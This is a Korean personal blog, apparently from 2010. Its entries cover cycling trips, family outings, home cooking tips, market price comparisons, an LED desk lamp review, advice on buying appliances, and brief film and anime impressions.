해결되지 않았다. 축의 고정 너트가 풀어지거나 종이조각이 압축되면 다시 디스크 브레이크가 패드에 닿았다. 오히려 전에는 들리지 않던 칼 가는 소리까지 나기 시작했다. 캘리퍼의 이격 조정은 캘리퍼 앞 뒤의 육각 나사를 돌려 정렬한 후 조여주기만 하면 되는 간단한 것이었다. 거만해져서 공부 안 하니 이 모양으로 무식한 티를 냈다.

Electoral dysfunction: Why democracy is always unfair -- 유시민이 불공정거래같은 민주당 경선(?)에 참여했다. 노회찬과 심상정, 한명숙과 유시민, 유시민이 후보단일화에 탈락하면 plan B는 심상정으로?

40년 동안 못해 본 총각처럼 보이는 좌파(?) 또는 진보주의자(?)는 성장보다는 복지를 중시하는 사람이란다. 그럴리가... 종종 깨달음과 통찰을 주는 진화설로 파악해보면 함께 생각도 하면서 잘 살아보자는 합리적인 복지주의로  잘될 것 같지 않아 보였다. 하지만 좌파라 불리는 심상정, 노회찬이 야당 후보 단일화를 깨고 자기들 끼리 꾸역꾸역 해보겠다고 한 것은 잘한 일이라 여겼다. 여러분들께서 단일 후보 선출 안 해도 나라 안 망한다.

초기조건을 동등하게 하고, 인간의 질이 개선되리라는 밑도 끝도 없는 희망을 고귀한 동정심으로 포장하고, 이성적 견제를 통해 자연의 흐름을 거슬러 인간의 개입이 실질적으로 자연 또는 우주를 지금 상태보다 낫게 만들 수 있다고 믿는 것은 신념과 믿음과 사랑으로 설교하는 종교와 비슷했다. 언제인가 부터 '불필요한' 신념을 시체의 무게 처럼 여겼다. 비틀즈를 틀자; boys, you gonna carry that weight, carry that weight a long time~~ 변화하지 않는 이를 동정하나 나와 같은 인간을 위해 해줄 것이 딱히 없다.

북어국 맛있게 끓이는 방법 정도는 알려줄 수 있을 것 같다: 몇 개월 전에 비결을 알았다. 알고 보니 별게 없다. 멸치, 다시마로 육수 내고, 북어는 물에 불릴 때 소금과 후추로 미리 간을 해 둔다. 멸치육수에 무를 먼저 넣고 끟인 다음 적당히 익으면 북어와 콩나물을 넣는다(북어 먼저 참기름에 달달 볶지 않는다!). 끓으면 파, 마늘 넣고 끓어오르면 불을 줄여준다.

음식점에서 맛있는 음식을 먹으면 이것저것 물어 배워서 집에 오면 꼭 한 번씩 해봤다. 맛있는 돼지김치찌게는 소금, 후추, 생강즙에 돼지고기를 재워놓는 것 까지는 보통 하는 식인데, 돼지고기 볶을 때 화이트 와인 한 스푼 뿌리고 볶으면 돼지 냄새가 안 났다. 돼지 냄새에 굉장히 민감한 아내의 코마저 감지하지 못할 정도였다. 된장, 녹차잎 보다 효과가 좋았다.

식재료 대부분을 시장에서 샀다. 아내는 한 동안 대형마트를 선호했다. 불과 2-3개월전, 이마트가 일부 품목의 단가를 내리자 홈플러스가 맞불을 지르고 롯데마트도 저가 경쟁에 끼어들었다.  처절한 가격 경쟁을 벌이던 당시(납품업체만 죽어나던 당시라고 번역해야할 듯), 이마트의 바나나 한 포기 가격이 1500원이었다면 홈플러스는 1450원, 롯데마트는 1499원 꼴이었는데 동네 시장에서는 1200원이었다. 그래서 왠만하면 대형마트에 안 갔다.

경험과 기억으로 비추어볼 때 신선식품의 선도와 가격 경쟁력 면에서 대형마트가 한 번도 동네 시장을 이겨본 적이 없다. 예: 두부 세일. 이마트는 300g + 150g 두부 2모에 1300원할 때, 시장 할인점에서는 일주일에 하루씩 천원에 판매하는 300g 두부 한모를 100원에 떨이했다. 그래도 100원 짜리 두부는 안 사 먹었다. 대신 중국산 콩을 사용하는 재래시장의 '두부명가'라는 가게에서 1500원에 400g짜리 맛있는 두부를 사 먹었다.

닭은 칼질에서 심후한 내공이 느껴지는 두부가게 옆집, '하림 닭 유통'에서 주로 샀다. 고기 품질이 차이난다. 심하게는 대형할인점의 고기가 동네 정육점보다 가격이 비싸면서 품질이 떨어졌다. 돼지고기, 소고기, 바지락, 구이용 생선, 야채, 과일 등 사는 가게가 각각 다르다. 신선식품은 그렇다 쳐도 이마트의 공산품 만큼은 동네 시장보다 낫지 싶었는데 언제나 그런 것은 아니었다. 예: 하이트 맥스 1리터 PET 가격은 롯데마트가 대형할인점 중에서 가장 싼데(2350원), 동네수퍼가 2400원, 동네 할인 마트가 2370원이었다.

다만 시장 마트나 동네 수퍼엔 파슬리 가루가 없고 다양한 제품간 스펙 비교가 쉽지 않다. 재래시장에는 시식 코너가 없다. 미소 된장국과 오레가노, 커민, 연어, 파스타 등등 다양한 음식을 먹는 사람들이 많이 늘었다. 주차장이 변변찮고 더러운 재래시장에서 에누리에 신경이 곤두서기 보다는(정량, 정가에 익숙한데 친절하게 덤을 더 줘도 고마워할 타이밍을 놓치곤 했다) 카트를 몰고 다니며 카드 결제로 깔끔한 원스탑 쇼핑이 가능한 대형할인점이 여러 면에서 편리하다... 라고 말한다. 소비자가 워낙 게으른 바보라서 재래시장보다 비싸고 맛 없고 쓸데없는 물건에 대한 탐욕을 부추기는 대형할인점을 즐겨 찾는다고 생각하면 안 되겠지? 간발의 안타까운 개성차로 서로의 weighting system이 다르다. 라고 말하는 것이 알맞다. 옳건 그르건.

물향기 수목원
가족과 함께 물향기 수목원에 놀러갔다. 메타세콰이어 나무들. 크기로 미루어, 묘목이라고 해야 하나? 디지탈 카메라에 있는 xD 메모리가 드디어 맛이 가서 모처럼 찍은 단란한 가족 사진이 모두 날아갔다. 요즘은 그냥 노키아 휴대폰으로 사진을 찍어 블로그에 올렸다. 내 코딩이 절대 먹혀들어갈 리가 없지만, 이 사진에서 궂이 보여주고 싶은 컨셉은 미국과 중국이다. 우리 아이는 그냥 스케일링 팩터다.

안양예술공원에
물향기 수목원에 갔다 온 다음 아이가 B형 독감에 걸려 일주일 동안 고열에 시달렸다. 타미플루를 5일 동안 먹였다. 그리고 돌아온 주말에 안양예술공원에 놀러갔다. 만개한 벚꽃이나 초속 5cm로 나긋이 떨어지는 꽃잎을 보았다. 바람이 불자 짓눈개비처럼 흩날렸다. 나비같다.

 
안양예술공원 요정의 숲
예전에 안양예술공원에 왔을 때 깜빡 지나친 요정의 숲을 방문.

안양예술공원 요정의 숲
예술은 불안하고 깨지기 쉬운 정신세계를 가진 이가 해야 제맛이란 걸 새삼 깨닿게 하는 작품들. 이 작자의 '결여'는 불안이나 신경증하고는 상관없어 보이지만.

안양예술공원
고래등같은 기와집의 그 고래등. 올라가 볼래? 아이는 괴상한 짐승들 등짝에 오르려고 버둥거렸지만 기와집엔 관심이 없다.

안양예술공원
안양예술공원. 폭포. 근처 음식점에서 시켜먹은 촌국수는 정말 정말 정말 맛이 없었다. 어떻게 이런 걸 음식이라고 팔 수 있을까 싶은 지경.

자전거 탈 때(또는 선글래스 대용으로) 쓸 스포츠글래스를 샀다. 16000원 짜리 헬멧에 챙(썬쉐이드)이 없어 어쩔 수 없이 스포츠글래스를 알아봤는데, 1. 비바람이 들어가지 말아야 하고, 2. 일종의 방탄 기능이 있어야 하고, 3. 자외선 차단을 비롯해 대낮에 눈을 보호해야 하고, 4. 얼굴 굴곡에 따라 렌즈가 배열되어야 하고, 5. 눈썹이 닿는 돗수 클립을 사용하지 않으려면 렌즈 자체에 돗수를 넣어야 한다는 조건을 달았다. 그랬더니 무척 비싼 제품이 나왔다.

프레임은 국산과 일제 밖에 얼굴에 맞는게 없었는데, 오클리 등의 더럽게 비싼 것들은 얼굴 형태에 맞지 않아 다행이다. 조건에 맞는 가공을 하는 업체가 드물어 부러 시간 내어 상경해서 맞췄다. http://www.eyedaq.com 오렌지 색은 주/야간 겸용.  프레임의 메이커는 SOS, 모델은 천리안. 렌즈는 디옵터 7.8에 프레임에 맞춰 곡면 가공한 것이다. 안경점에서 검안사가 계측에 꽤 공을 들였다.

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화장실 셀프 샷. 비오는 날 자전거를 타봐야 스포츠글래스가 제대로 검증이 되겠지만 저 머리에 만육천원짜리 버섯 모양 자전거 헬멧을 얹고 보니 흡사 도깨비 같았다. 평소에 착용하기엔 디자인이 많이 안 좋아 보이는데  외모에 별로 신경 안 쓰고 살아서인지 눈만 편하다면야 뭐. 실제 안경 보다 돗수가 낮지만 주변시가 매우 뚜렷하다. 처음 착용하고 한 동안 어지러웠다. 이것도 주식으로 번 돈으로 장만했다. 돌이켜보니 주식으로 돈을 꽤 벌었다.

5월 1일. 저번주엔 제부도, 공룡알 화석지, 안산 쌀국수 가게 어느 한 군데도 가지 못해 이 날 날잡아 갔다.

제부도
집에서 가는 내내 맞바람을 맞으며 제부도에 도착했다. 이거야 원 피곤해서. 아주 오래 전에 와 본 적이 있는데 그때와는 사뭇 분위기가 달랐다. 콘크리트를 쳐놓은 자동차 및 보행자 도로변에는 풍력 발전기와 태양광 발전기 따위가 있었다.

제부도
가는 길에 어떤 친구가 도로변에서 제부도 물때를 적어놓은 종이를 나눠주고 있었다. 오늘은 16:30까지만 통행이 허용된다. 어젯밤에는 보름에서 며칠 지나지 않은 달이 묘하게 붉고 노랬다.

제부도 등대
휴대폰으로 찍은 사진치고 꽤 잘 나왔다.

제부도
오후 2시 20분. 제부도를 방문한 대부분의 사람들은 가족 단위 여행객 아니면 연인들이었다. 모태솔로는 갈 데가 못되는 것 같다.

제부도
산책로. 앞에 걸어가는 두 남녀는 오늘 있었던 단체 미팅에서 두번째로 뽑힌 커플. 비좁은 산책로에서 자전거를 질질 끌고 가는데 딱히 길을 비켜주지 않아 두 사람 바로 뒤에서 피치 못하게 대화를 엿들었다.  잘 안될 것 같은 커플이다.

제부도
모퉁이를 돌면 산책로가 끝나고 한국 어느 해변에서나 지겹게 보는 상가촌이 나타난다. 다른 가게보다 조금이라도 튀어 보이려고 코스프레 차림을 한 늙수구레한 아저씨가 뙤약볕 아래에서 굽신거리며 호객한다. 먹고 살기 힘들다.

제부도
뻘에서 축구하는 아이들. 예년 기온을 회복해간다지만 아직은 좀 쌀쌀한 날씬데 잘들 논다.

제부도
서쪽에 면한 해변 끝. 장화와 호미를 빌려 굴이나 바지락을 따러 들어간 사람들.

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제부도를 나왔다. 한 바퀴 도니 더 볼 것도 없었다. 뭍에서 등대속둥지란 음식점을 골라 바지락 칼국수를 주문했다. 서빙 별로 안 좋다, 1.5인분쯤 되어 보이는 칼국수는 생각보다 맛이 없었다. 바지락은 신선하고 양이 많아 빈 접시에 패총을 쌓을 수 있었다. 음식 맛이 별로에 현금으로 계산하기를 바랬다. 경기도가 엄선한 좋은 음식점 수준의 기준이 낮던가 매년 또는 분기 별로 체크할 정성은 없는 듯.

어천 저수지
어천저수지. 낚시터. 돌아오는 길은 바람에 등에 지고 있어서 별로 힘들지 않았다. 102km, 6시간 20분짜리 투어였다. 집에 돌아와 옷가지를 챙기고 사우나에 가서 씻고 잠깐 눈을 붙였다.

5월 5일. 약 20년 동안 나하고 상관없었던 날.

화성행궁
화성행궁에 놀러갔다. 인파가 바글거리는 놀이동산 등지에 놀러갈 엄두는 나지 않았다.

화성행궁
행궁 뒷편 벽에는 왕의 행차를 묘사한 그림이 있는데 방문 때마다 번번이 사진을 찍지 않았다. 내 경우에는 화성행궁에서 유일하게 쓸만한 볼꺼리.

한 블로그에 놀러간 장소를 무려 넷이나 적었다!

aladin
aladin. 좀 바보같은 인도 영화. 여자도 별로고.

Astro Boy
Astro Boy. 아이가 공룡에서 로봇 쪽으로 슬슬 관심을 보이기 시작하는데 이런 것 더빙판을 구하기가 어렵다.

Cargo
Cargo. 안 봐도 그만인 SF

Hack. G.U. Trilogy
Hack. G.U. Trilogy. 원작도 그랬지만, 애니도 재미 없다.

Repo Man
Repo Man. 브라질, 12 멍키즈 따위가 생각났다.

The Invention Of Lying
The Invention Of Lying. 별로...

다다미 넉장 반 세계일주
유아사 마사아키, 잉여예술의 꽃. 엔딩 타이틀이 넘 멋지다. 엇 근데 이 애니 제목이 뭐였지?

다다미 넉장 반 세계일주
제목도 모른 채 캡쳐한 장면을 보고 있자니... -_- 어쨌건 해피엔딩이다.

다다미 넉장 반 세계일주
그림은 빛의 에술이다. 인상파 화가들의 의견을 몹시 존중한다. 술꾼으로서 지당했다. 형태와 색소에서 인상파의 기준을 통과하지 못해 실망스런 씬. 의도가 시발스러우면 결과는 여지없이 시발스럽다. 그런데 아 좋다.

다다미 넉장 반 세계일주
유우니가 생각나는 장면.

다다미 넉장 반 세계일주
유아사 마사아키의 또다른 애니. 역시 제목을 모르겠다. 아 진짜... -_- 제목을 알았다. 다다미 넉장 반 세계일주. 그의 애니가 옛날에 처음 읽었던 누보 로망처럼 익숙했다. 예술이 별거냐? 운율이 있는 싱싱, 조형을 갖춘 난잡, 죽어도 인간을 깨우지 못하는 미혹.



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그대들도 죽는다

잡기 2010. 4. 11. 23:50

http://weekly.khan.co.kr/khnm.html?mode=view&dept=116&art_id=201003241910291 -- '그대들도 죽는다' 어떤 장례식사. 웃자고 하는 얘긴데 죽자고 달려들진 않겠지?

환율이 1100 가까이 접근하면 외국인 매수세는 사라질 것이고 그때 쯤엔 펀드를 뺄 생각도 했다. 임박한 위안화 절상, 달러 강세, 원화 동반 강세, 부동산 버블론 등 별별 얘기가 다 돌아 솔직히 요즘은 뭘 어떻게 해야할 지 통 방향을 못 잡겠다. 이럴 땐 복지부동?

4/4 애가 아파서 어디 놀러가지 못하고 자전거 몰고 안산에 갔다 올 생각으로 혼자 나왔다. N5800에 설치한 스포츠 트래커의 버전이 낮아 중간에 찍은 사진들이 스포츠트래커 사이트에 함께 올라가지 않았다. 업그레이드. 설정이 눈에 익어 프로그램을 어떻게 잘 사용할 수 있는지 알겠다. 1. 출발할 때 프로그램을 켜고, 2. 가끔 가다 Lap 찍고 3. 사진도 좀 찍다가 4. 돌아와서 업로드한다. 이 절차가 워낙 바보같아도 알 수 있을 정도로 간단해서 스포츠 트래커는 노키아 휴대폰의 킬러앱이 되었다. 이 정도가 아이폰과 경쟁할 정도라면 우스운가? 아이폰 OS 4.0 이전 버전은 이게 안 된다: 블투 헤드셋으로 음악 들으며 gps 백그라운드로 깔고 여행중에 사진 찍는 것.

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도착해 보니 안산 시화호 습지 공원이 있다. 의도하고 여길 온 것은 아니다. 습지를 따라 이런 산책로를 만들어 놓았다. 전국의 거의 모든 지자체가 강변 산책로/자전거 도로 만들기에 혈안이 된 것 같아 흐뭇하다. 수원시 역시 수원천 복개공사가 한창이다.

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시화호라고 기억나는 것은 환경 오염, 죽은 새떼와 썩은 물, 망할 교훈 뿐이다. 담수호 만들려다가 결국 제방을 포기하고 해수호로 만들었다 정도? 산책로에서 썩은 내는 나지 않았다. 의외로... 좋다.

안산 습지 공원
안산 습지 공원. 무료. 갈대를 잘랐다. 자전거 끌고 들어갈 수 없단다. 개와 고양이도 안되고. 대략 이 위치면... 저 산 너머 쯤에 공룡알 화석지가 있을 것이다. 이거 잘만하면 '관광 클러스터'가 될 수도 있겠는데? 안산시장 선거 때 혹시 이슈가 되지는 않을까?

안산 습지 공원
안 자른 갈대. 담수호를 포기하고 해수 유입을 허용한 다음에도 오염이 차도를 보이지 않자 조력 발전소를 지어 물의 유입/유출을 늘렸다. 시화호 방조제를 만들 당시에도 건설업자들을 먹여 살리기 위해 공사를 했다. 그후 새만금, 청계천, 4대강 사업 등 역사적인 프로젝트가 줄줄이 이어졌다. 그렇다고 환경단체의 별 생각없어 보이는 헛소리를 곧이곧대로 듣지 않았다. 신심은 바른데 내용이 엿 같아서 환경 교회에 안 간다.

안산 습지 공원
습지공원의 갈대밭은 오염을 제거하기 위해 인공적으로 조성한 것이다. 흡사 콩팥처럼 생긴 이 습지의 정화능력이 제 기능을 발휘할지는 의문이지만(선거를 앞두고 눈가리고 아웅하려고 만든 것처럼 느껴지는 고작 0.75km^2 갈대밭 따위가? more! more!) 이런 노력에 괜히 초를 칠 마음이 없다.  

안산 습지 공원
찍어놓고 보니 어쩐지 동남아 분위기가 풍긴다. 메콩강 하류, 쪽배에 의지해 근근히 먹고사는 베트남 남부의 거대 삼각주 어딘가에서 찍었다고 해도 믿을 것 같다. 안산 시내에 베트남 쌀국수 집이 있다던데 거기나 갔다올껄 그랬다.

안산 습지 공원
조류 관찰대. '노래하는 새들도 지금은 사라지고'. 휴대폰 카메라가 잘 찍히나 테스트.

안산 습지 공원
맑은 날은 그나마 잘 찍힌다고 했는데 이건 좀 아니네?


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어린 시절에 이렇게 사진 찍지 말라는 얘기를 들었다. 나이 들수록 편한 대로 하게 된다. 집에서 머리를 깎던 미용실에 보내던 아이 머리는 마누라의 컨셉인 '정비가 편한 단발'이다. 안 그래도 애가 안 똑똑한데 영구 머리에 꽃 들고 헤헤거리고 있으니...

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4/11 아이 데리고 버블매직쇼 보고 산길을 돌아다니다가 집 근처의, 언제나 별로 특색 없는 그림들이 전시되곤 하는 미술관에 갔다.  운영비는 시 재정으로 충당하고 관람료는 늘 무료이고 지역 아마추어들에게 저렴하게 대관해 주는 것일까? 그렇다면 참 마음에 든다.

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어쩌다 보니 미술관, 도서관, 화성, 광교산 등이 아이와 주로 가는 나들이 코스가 되었다. 봄이 오면 물향기 수목원에 가고 여름 문턱에 융건릉에 가고 여름에는 안양천에 가야겠다.

아이와 돌아다니는 휴일과 별개로, 첫번째 자전거 소풍은 광교산(30km), 두번째는 안산 시화호 습지공원(60km), 그리고 4월 10일 세 번째로 간 곳은 경기도 화성 일주 코스(90km)가 되었다.

가는 길에 지나가는 비를 맞았다. 블루투스 헤드셋을 끼고 휴대폰으로 음악을 들었다. 블루투스 덕택에 자전거를 타고 가면서 핸즈프리 전화 통화도 했다. SportsTracker + Bluetooth + MP3 Play 를 동시에 돌리면서 사진 30장, 1분 짜리 동영상 3개 정도 찍으면 배터리 만충 상태에서 계산상 약 5시간 정도 사용 가능하다. 노키아 N5800은 쓰면 쓸수록 정이 가는 휴대폰이다.

그래도 예전처럼 GPSr을 자전거에 설치해 사용한다. 상황이 어떻게 변할지 모르는 아웃도어에서 떨어지면 깨지고, 하다 못해 지나가는 비에 잠시 노출되는 정도로 맞이 갈 수 있는 휴대폰 따위를 어떻게 믿을 수 있겠나. 안산이나 화성이나 초행이다. GPSr에서는 터닝 포인트가 나타날 때면 방향 지시를 해 준다. Garmin Mobile XT를 사용하면 블투로 음악듣는 와중에 방향 지시가 나온다.

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들판에 봄이 온다. GPS 지도에는 화성호로 표시되어 있지만 언제인지 간척지를 일구어 놓았다. 집에 돌아가면 OSM 지도에서 해안선을 방조제 저 편으로 옮겨야 할 것 같다.  

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3월 말부터 작년에 울며 겨자먹기로 산 자전거를 타기 시작했다. 강력한 디스크 브레이크에 아직 적응이 잘 안되어 브레이크 감이 없어 레버를 당길 때면 꼬리 밟힌 고양이 비명 같은 소리가 난다. 수원 외곽에서 화성 까지 가는 길은 비참할 정도로  재미가 없었지만 화성 외곽의 똥 냄새 나는 논밭 사이로 난 농로를 지날 때는 기분이 좋았다.

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화성: 잡히지 않은 연쇄살인마와 그 때문에 오랜 기간 저평가되어 왔던 부동산 정도 밖에 아는 것이 없는 도시. 꽤 넓은 지역에 걸친 큰 도시일 줄 알았던 화성 시가지가 생각보다 작았다.

용주사
용주사 입구. 화성 일주하고 돌아오는 길에 융건릉과 용주사가 보여 용주사부터 들렀다. 정조 임금이 사도세자를 기리기 위해 중수해 원찰로 삼은 절. 안 그래도 언젠가 한 번 관광 와야지 생각했는데 우연찮게 기회가 생겼다.

용주사 홍살문
용주사 입구. 임금이 들락거리는 곳이라서인지 홍살문이 있다. 떼관광객이 우루루 몰려다니는 관광지라고 생각했는데 의외로 고즈넉하니 분위기가 좋다.

용주사
회랑이 있어 사진을 찍었지만 사진이 깨졌다. 그러고보니 이 날 찍은 관광 사진 대부분이 깨졌다.  

용주사 대웅전
대웅전. 정조가 용꿈을 꾸고 중수한 절이라서 현판 옆에 여의주를 물고 있는 용이란다. 처마에 여의주 물고 있는 용이 있는 대웅전은 내 경험에 비춰볼 때 꽤 많았다. 이 용은 좀 웃기게 생겼다. 현판은 정조가 직접 썼고 탱화가 볼만했지만 사진이 다 깨져서 이것 하나만 건졌다.

융건릉
용주사를 나와 융건릉으로 향했다. 철쭉이 피었다. 울창한 상수리 나무 숲과 소나무 숲이 몹시 마음에 들어 여름에 방문해 유네스코 지정 세계문화유산의 풀밭에 앉아 도시락을 까먹겠다고 마음먹었다. 별로 시간이 없어 산책로 중 짧은 코스를 택해 빠른 걸음으로 융릉과 건릉을 돌아봤다. 약 30분 정도 걸렸다.


융건릉 산책로.

14만원 짜리 상당히 비싼 LED 스탠드(LS-LED-100)를 사서 2주쯤 사용했다. 다른 LED 스탠드와 달리 확산판을 달아 LED 특유의 쏘는듯한 광원(직사면만 밝게 빛나고 그외의 영역과 칼 자르듯이 경계면이 남는다)과 달리 부드럽게 비춘다. 색온도를 다르게 한 3개의 모드가 있고 각 모드 별로 LED 밝기를 3단계로 조절할 수 있다. 색온도와 밝기 조절이라... 관심없는 기능.

조도가 낮은게 눈에 띄는 단점이다. 마음대로 회전시킬 수 없다는 것이 두번째 단점이다 -- 좁은 책상에서 책과 공책 정도만 꺼내놓고 이미 천정에 형광등이 켜져 있는 상태에서 켜 놓고 공부할 때나 쓸 수 있는 종류의 스탠드다. 총평: 별로다.

수명과 전력 소비량 때문에 값비싼 LED 스탠드를 샀다. 이전까지 사용하던 스탠드는 보통 20~50W 짜리 전구를 사용하는데, 전구에 따라 다르지만 일 평균 6시간으로 3~6개월 정도 사용하면 조도가 현저하게 떨어져 지난 6년 동안 전구를 12 번 가량 갈았다. 그 금액이면 수명이 60000~100000 시간 가량 되는 14만원 짜리 저전력 LED 스탠드를 살 수 있다. 예상수명 27년, 조도가 2/3로 떨어지는 지점을 8년으로 잡아도 LED 스탠드 쪽이 저렴한 편이니까.  2W 짜리 LED 6개를 직렬로 달고 확산판을 단 다음 케이스를 자작하는 걸로 어림잡아 견적을 내보니 못해도 10여만원 가량 나왔다. 그냥 샀다.

이참에, 아내를 위한 가전 제품을 값싸고 제대로 사는 요령:

1. 24시간 가동하는 냉장고, 김치 냉장고, 때로는 TV 따위는 딴전 피울 것 없이 무조건 소비전력을 보고 사야 한다(그 덕에 170리터 짜리 냉장고를 작년에 사고도 100리터가 안되는 조그만 냉장고를 사용할 때와 같은 전기세를 냈다). 냉장고는 한 번 구입하면 10~30년을 사용한다. 10kWH 차이로 10년 동안 100만원 더 냈다면 그 반에 해당하는 금액인 50만원 더 주고라도 전력소비량이 적은 제품을 구입하는 것이 바람직하다(계산이 복잡하니 계산은 생략). 카테고리에 벗어나지만 워낙 중요한 항목이라 1순위로 전력소모를 꼽았다.

2. 현 시점에서 약 6개월~1년 전 제품을 구입. 소비자 구매성향이나 패턴 때문에 속칭 백색가전 제품의 라이프사이클이 딱 그 정도라 6~12개월 지난 제품군은 떨이, 묶음 판매되는 것들이 많아 가격이 저렴하다. 5항 참조.

3. 가전제품에 따라 가장 중요한 기능이 무엇인지를 일단 알아야 구매 포인트를 정할 수 있다. 예를 들어 김치냉장고의 성능을 판가름하는 가장 중요한 요소는 온도 안정성과 온도 정밀도다(약간 뜬금없지만 김치 냉장고에 와인, 맥주 넣어 냉각했다가 마셔본 사람들은 이게 뭔 소린지 대번에 이해할 듯) 또는 가스레인지 구입에서 핵심은 화구에서 연소되는 열량이다 . 그 열량이 음식의 품질에 끼치는 영향이 지대하다.

4. 사용 목적과 부합되는 제품을 고르는 것이 좋다. 백색 가전에서 아줌마들 사이에 가장 말이 많은 제품이 세탁기다., 드럼 세탁기와 일반 세탁기 사이의 성능 경쟁은 별 의미가 없지만 5인 가족 빨래를 드럼 세탁기로 하는 건 좀 바보짓 같다. 아이가 생긴 아빠들은 대부분 DSLR을 사려고 마음 먹는데, 애들 사진 찍기 쉽지 않으니 안되는 디카로 괜한 삽질하지 말고 보통은 캠코더를 사라고 추천한다. 또는 사진을 찍어 블로그에 음식점 리뷰를 올리려는데 DSLR이 부담스럽다면 소위 '렌즈가 밝은 ' 똑딱이가 우선 순위에 올라가야  하는 것처럼 사용 목적과 부합하는 제품의 특성을 파악하는 것이 합리적인 소비자가 되는 길이라고 믿는다.

5. 계절가전 -- 옷과 마찬가지. 쌀 때가 있고 비쌀 때가 있다. 미리 준비하면 꽤 큰 금액을 절약할 수 있다. 혼수철 떨이, 이사철/개학철 떨이, 에어콘, 전기장판 등 비수기 재고 땡처리 등등. 2항 참조.

6. 스펙과 피쳐 -- 잘 모르는 제품군을 살 때는 최고가의 최고 스펙을 착실하고 철저하게 연구한 다음(비싼 것들은 비싼 이유가 있기에) 스스로가 만족하는 수준에서 가격 대 성능 또는 가격 대 스펙을 정한다. 4항의 '사용목적과 부함되는 제품을 고른다'와 겹치지 않는다: 예를 들어 TV의 PIP는 평상시에는 대체로 쓸데 없는 기능이지만(목적이 광고 스킵하고 본방 보기 위해 PIP에 멍하니 화면 띄워두는 것이라면 채널 예약과 기능 면에서 겹친다) 그 기능이 있고 없고에 따라 제품 단가가 1-2만원 밖에 차이가 나지 않으면 있는게 낫다.

7. 밸런싱과 트레이드 오프: 1항, 3항, 6항은 주부들에게 무리일 수도 있겠다. 한국의 백색 가전 시장은 얼마나 황당한지 가장 기초적인 소비전력량, 디멘젼(제품의 가로세로폭) 따위를 제대로 적어놓지 않은 곳도 많다. 하이마트 매장 판매원은 그런 거 모른다. 구매층의 다수는 명성과 TV 광고와 평판과 A/S을 잣대 삼아 제품을 구입하지 1, 3, 6항 같은 머리에 쥐나는 연구 활동(?)을 즐기지 않을 것이다. 그런 소비자를 상대하니 백색 가전 시장이 그 모양이다. IT 제품군은 줄 하나 잘못 그었다고 블로그에 지랄해대는 오타쿠스럽고 젋고 깐깐한 소비자들 덕에 스펙에 상당히 공을 들이는 것과 대조적이다. 1,3,6항이 안되면 기능과 사용 목적과 피쳐를 합친 매트릭스를 작성하고 각 항목마다 가중치를 주어 제품 평가에 관한 점수를 메기고 가장 높은 점수를 갖거나 가장 밸런스가 잘 맞는 제품을 가려내는 과정은 무의미하다.

8. 유지보수(또는, A/S)는 과연 얼마나 중요한가? 요점만 알면 된다. 어떤 기계이건 대부분의 오류는 초기와 말기에 집중된다 -- 뽑기 운이 좋아 처음에 고장이 안 나면 부품의 수명이 다할 때까지 고장날 확률이 매우 작거나 거의 없다는 뜻이다.

단품에 소모품이 없을 경우에 한해, 자연적인 고장에 따른 A/S 발생 건수는 사람들이 생각하는 것보다는 훨씬 적어 덜 중요할 수 있다. TV, 냉장고 따위가 소모품과 악세사리가 없으며 한 번 거치된 후 옮기거나 작동 불량을 야기할 수 있는 조작이 가해지지 않는, 딱 그런 경우다.

다른 경우도 생각해 볼 수 있다.   진공 청소기를 2005년 구입해서 잘 사용하다가 2010년 1월 탈착식 헤드가 부러져 새로 구입해야 할 때 그 부속품이 제조사에 남아 있을 가능성이 얼마나 높을까? 대기업에서 어떤 시기에 주력으로 삼고 생산한 제품군의 부품과 악세사리는 장기간 동안 재고로 남아있을 가능성이 높다. 하지만 중소업체는  그때까지 살아있어 전화를 받아주면 그나마 다행이다. 불안해서 중소업체의 가전제품을 믿고 쓰겠나?

이런 예도 있다: 집에 있는 TV는 10여년 전에 구매한 중소업체의 브라운관 TV인데, 회사가 없어져 고장나면 수리 맡길 데가 없다. 그런데 비슷하게,  LG에서 10여년 전에 구입 당시 24만원을 주고 산 TV가 고장이 나서 수리 비용이 9만 5천원이 나온다면 과연 TV를 수리해서 쓸까?

 장기간 A/S 가능하고 재고를 보유할 수 있는 대기업이 좋아 보이지만, 단품 제품의 라이프사이클로 봐서는 별로 중요하지 않을 수 있다. 설령 재수가 없어 구입한 제품이 사자마자 고장나서 수리와 교환을 수 차례 반복하며 갖은 고초를 겪더라도 수십만 대가 팔려 정상적으로 사용되는 제품의 초기 불량율이 구매결정에 영향을 끼칠 이유는 되지 못한다.

참고로, 가전 제품 사는 요령이 컴퓨터 구입과 거의 비슷하지만 다른 점 하나가 있다. 컴퓨터 부속은 설계연한 이전에 사용 연한이 다한다. 컴퓨터 부속은 보통 2년 정도의 수명을 지녔다고 보는게 편하다. HDD는 보통 2년 이상이 되면 에러가 발생하기 시작한다. 나머지 부속들은 기술 발전의 속도 때문에 단종되어 시대에 뒤쳐진다. 이를테면 2년 전까지만 해도 SSD가 뭔지 모르는 사람들이 많았다.

멋지고 비싼 명품을 구매하던가, 가격 대 성능비에 집착하던가. 명품 살 돈 없으면 머리 굴리란 말인데, 머리 굴리기 귀찮을 때 추가비용이 발생한다. 예를 들어 중소업체의 제품이 스펙상 동일하거나 더 우수해도 LG 제품을 택했던/택하지 않았던 다수는 LG 제품을 추천하고 자기도 LG 제품을 구입한다.

Freedom
Freedom. 컵라면 선전이 무척 자주 나왔다. 과연 지구에 얼마나 큰 위성체가 떨어져야 지구가 폭삭 망할까? 그런데 컵라면 광고하려고 이런 7편짜리 애니를 만들었다니...

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Freedom. 지구는 무사합니다! 스포라서 줄거리를 말할 수 없지만 지구에서 날아온 메시지를 보고, 로켓 날리기가 컬트가 되버린 지구로 내려간 두 명의 정신나간 젊은이들의 모험담. 이야기의 뼈대가 되는 설정이 SF로 보나 극화로 보나 엉망이지만 로켓이 오락가락 하는 모습은 보기 좋았다.

The 40 Year Old Virgin.
The 40 Year Old Virgin. 마이클 스캇 사장님이 오타쿠로 등장. 아끼는 액션 피규어를 팔려니 가슴이 찢어진다는 거 이해한다. The Office의 인도 아가씨도 출연.

The 40 Year Old Virgin.
The 40 Year Old Virgin. 왼쪽 친구는 맨날 보네?

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식객: 김치전쟁. 자염 만들기. 동치미, 물김치 따위를 배추김치보다 좋아했다.

Heroes
Heroes.왼쪽부터, 인디아인같지 않은 인디아인, 일본인같지 않은 일본인, 일본인 행세를 하는 한국인. 끝날 때가 다 되었는지 낚시질이 예전보다 줄었다. 부디 극락왕생하소서.
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해킹

잡기 2010. 4. 2. 17:10
